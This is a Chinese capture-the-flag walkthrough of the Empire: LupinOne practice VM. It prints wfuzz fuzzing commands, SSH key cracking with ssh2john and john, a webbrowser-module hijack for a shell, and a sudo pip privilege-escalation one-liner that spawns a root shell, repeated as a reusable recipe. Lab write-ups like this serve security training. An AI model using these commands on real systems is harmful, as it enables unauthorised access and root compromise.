本文主要是介绍小H靶场笔记:Empire-LupinOne,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Empire:LupinOne
January 11, 2024 11:54 AM
Tags:fuzz,pip提权,ssh私钥
Owner:只惠摸鱼
信息收集
-
使用arp-scan 和 namp扫描C段存活主机探测靶机ip:192.168.199.141,且80和22端口开放
-
扫描靶机开放端口,进行全面扫描,发现有一个似乎是一个目录。
-
访问一下80端口
-
根据扫到的信息访问一下,发现道路对了。那爆破一下目录
-
爆破一下目录,
-
御剑扫一下
-
发现一个apache的服务器帮助文档
-
再用dirb扫一下,发现两个新得页面
-
一个是jquery
-
一个无权限
-
-
-
-
没有其他发现了,那就还是那个~myfiles目录入手吧,开始扫这个有没有其他页面的
-
不管是御剑还是dirb都没有什么发现。
-
-
那试试查询一下跟这个格式相关的,因该有其他页面,进行一个暴力破解吧。
-
http://192.168.199.141/~FUZZ
-
wfuzz扫描
- wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.tst http://192.168.199.141/~FUZZ
- 扫描的结果由很多错误,过滤一下
- wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.tst —hw 31 http://192.168.199.141/~FUZZ
- wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.tst http://192.168.199.141/~FUZZ
-
漏洞利用
-
访问一下,发现了第二个线索:一个可能是用户名icex64 ,另一个是还有隐藏文件,且是ssh私钥,还有破解密钥的方法提示:fasttrack(这是一个字典文件)
-
继续爆破出隐藏文件,猜测是.txt后缀的隐藏文件(在linux里隐藏文件一般是是.开头)
-
先试一下是不是不需要加.(发现没有什么东西)
-
再试试加. ,爆出了一个隐藏文件
-
wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,403 http://192.168.199.141/~secret/.FUZZ.txt
-
-
-
访问一下,确实是加密过的密文。
-
分析一下密文,发现是base58加密
-
直接进行在线解密,找到了一堆ssh私钥。
-
破解私钥口令
-
将私钥保存到文件key中,修改权限(600,不能太高,不然可能无法登录)
-
使用ssh2john生成hash值
-
ssh2john key > key.hash
-
-
并使用工具john和字典fasttrack.txt来破解口令
-
john --wordlist=/usr/share/wordlists/fasttrack.txt key.hash
-
-
-
得到了密码,再结合之前猜测的用户名,登陆一下ssh
- ssh icex64@192.168.199.141 -i key(
-i
参数用于指定用于身份验证的私钥文件,以替代默认的用户名/密码身份验证方式。)
- ssh icex64@192.168.199.141 -i key(
-
拿到了普通用户的flag
提权
-
查找SUID文件或sudo(无需密码)的文件,发现有一个arsene用户的文件和运行python3,是不是可以直接提权到arsene用户。
-
发现有一个python文件,去看一下。有一个note信息说我们当前的用户可以执行这个文件,查看文件权限发现没有写入权限。
-
查看heist.py文件,发现程序导入了webbrowse。去python目录下看能不能对这个模块进行修改,让它返回一个shell。
-
查找webbrowser模块
-
查看文件权限,发现有写入权限
-
写入获取shell命令
-
切换shell
-
查询 sudo (无需密码)的文件,发现有pip
-
直接进行pip提权(搜一下pip提权漏洞利用)
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF
-
提权成功!
pip提权
- 当sudo -l中有无需密码的root权限的pip文件时
- 运行下面命令即可提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
fuzz
- wfuzz是kali自带模糊测试工具,可以进行模糊目录暴力破解。
- Wfuzz 中的有效负载是数据源。
- 这个简单的概念允许在 HTTP 请求的任何字段中注入任何输入,允许在不同的 Web 应用程序组件中执行复杂的 Web 安全攻击,例如:参数、身份验证、表单、目录/文件、标头等。
- 参数详解
这篇关于小H靶场笔记:Empire-LupinOne的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!